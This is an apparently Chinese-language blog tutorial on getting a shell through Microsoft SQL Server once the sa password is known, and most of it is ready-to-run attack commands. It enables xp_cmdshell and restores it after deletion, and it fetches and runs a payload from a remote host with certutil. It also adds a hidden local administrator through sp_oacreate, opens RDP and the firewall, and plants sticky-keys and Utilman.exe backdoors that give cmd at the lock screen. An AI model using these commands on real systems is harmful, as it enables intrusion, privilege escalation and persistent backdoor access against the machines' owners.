GetShell 之:利用 SQLServer GetShell

GetShell 之:利用 SQLServer GetShell

1 SQLServer 基础操作

  1. 查看版本:select @@version;

    image-20221005122816714

  2. 查询所有的数据库名称:SELECT Name FROM Master..SysDatabases ORDER BY Name;

    image-20221005122923253

2 SQLServer 利用方式:已获得SA账号权限

如果网站里面使用的数据库是 sqlserver,那么如果找到 sa 的密码,利用提权脚本,执行命令。

2.1 xp_cmdshell

  1. 直接执行命令:

    exec master..xp_cmdshell 'whoami';
    

    image-20221005123405090

  2. 远程下载Payload并执行

    exec xp_cmdshell 'certutil -urlcache -split -f http://10.10.10.128/cc123.exe & cc123.exe'
    

    image-20221005183941760

    image-20221005185713100

  3. 以上命令需要启用xp_cmdshell,在 SQL Server 2005以后默认关闭,需要手动开启

    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 1;
    # 配置生效
    RECONFIGURE;
    
    # 命令一次开启:
    exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
    
    # 查看xp_cmdshell状态
    exec sp_configure;
    
    # 关闭xp_cmdshell
    # 开启高级选项
    exec sp_configure 'show advanced options', 1;
    # 配置生效
    RECONFIGURE;
    # 开启xp_cmdshell
    exec sp_configure'xp_cmdshell', 0;
    # 配置生效
    RECONFIGURE;
    

    image-20221005123902298

  4. SQLServer 删除/恢复 xp_cmdshell

    # 判断是否删除xp_cmdshell,返回1代表存在:
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    
    # 在SQL Server 2005及之前的版本,删除xp_cmdshell:
    exec master..sp_dropextendedproc xp_cmdshell;
    
    # 恢复xp_cmdshell
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
    
    # 恢复xp_cmdshell需要xplog70.dll,若管理员也将xplog70.dll删除,需要重新上传xplog70.dll:
    exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
    

2.2 sp_oacreate

如果xp_cmdshell组件被删除了话,还可以使用sp_oacreate来进行提权。

  1. 开启sp_oacreate

    # 开启sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',1;reconfigure;
    
    # 关闭sp_oacreate
    exec sp_configure 'show advanced options',1;reconfigure;
    exec sp_configure 'ole automation procedures',0;reconfigure;
    exec sp_configure 'show advanced options',0;reconfigure;
    
    # 查看 sp_oacreate 状态
    exec sp_configure;
    
  2. 添加管理员

    # 开启
    exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
    # 添加用户
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test Admin123 /add'
    
    # 添加用户到管理员组
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'
    
    

    image-20221005131523221

2.3 远程连接目标主机

  1. 开启远程桌面

    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
    
    # 查看远程桌面开启情况
    exec xp_cmdshell 'netstat -ano -p tcp';
    
    # 开启防火墙
    exec xp_cmdshell 'netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow';
    
    # 关闭:仅允许运行使用网络级别身份验证的远程桌面
    exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','UserAuthentication','REG_DWORD',0;
    

    image-20221005172130758

2.4 替换粘滞键

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 在目标主机上点击5次shift键,弹出cmd窗口。

image-20221005180425846

2.5 替换 Utilman.exe

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
  • 点击锁屏页面左下角轻松使用按钮触发,自动弹出cmd

image-20221023101505889

最后

名片

posted @ 2022-10-05 19:47  f_carey  阅读(558)  评论(2编辑  收藏  举报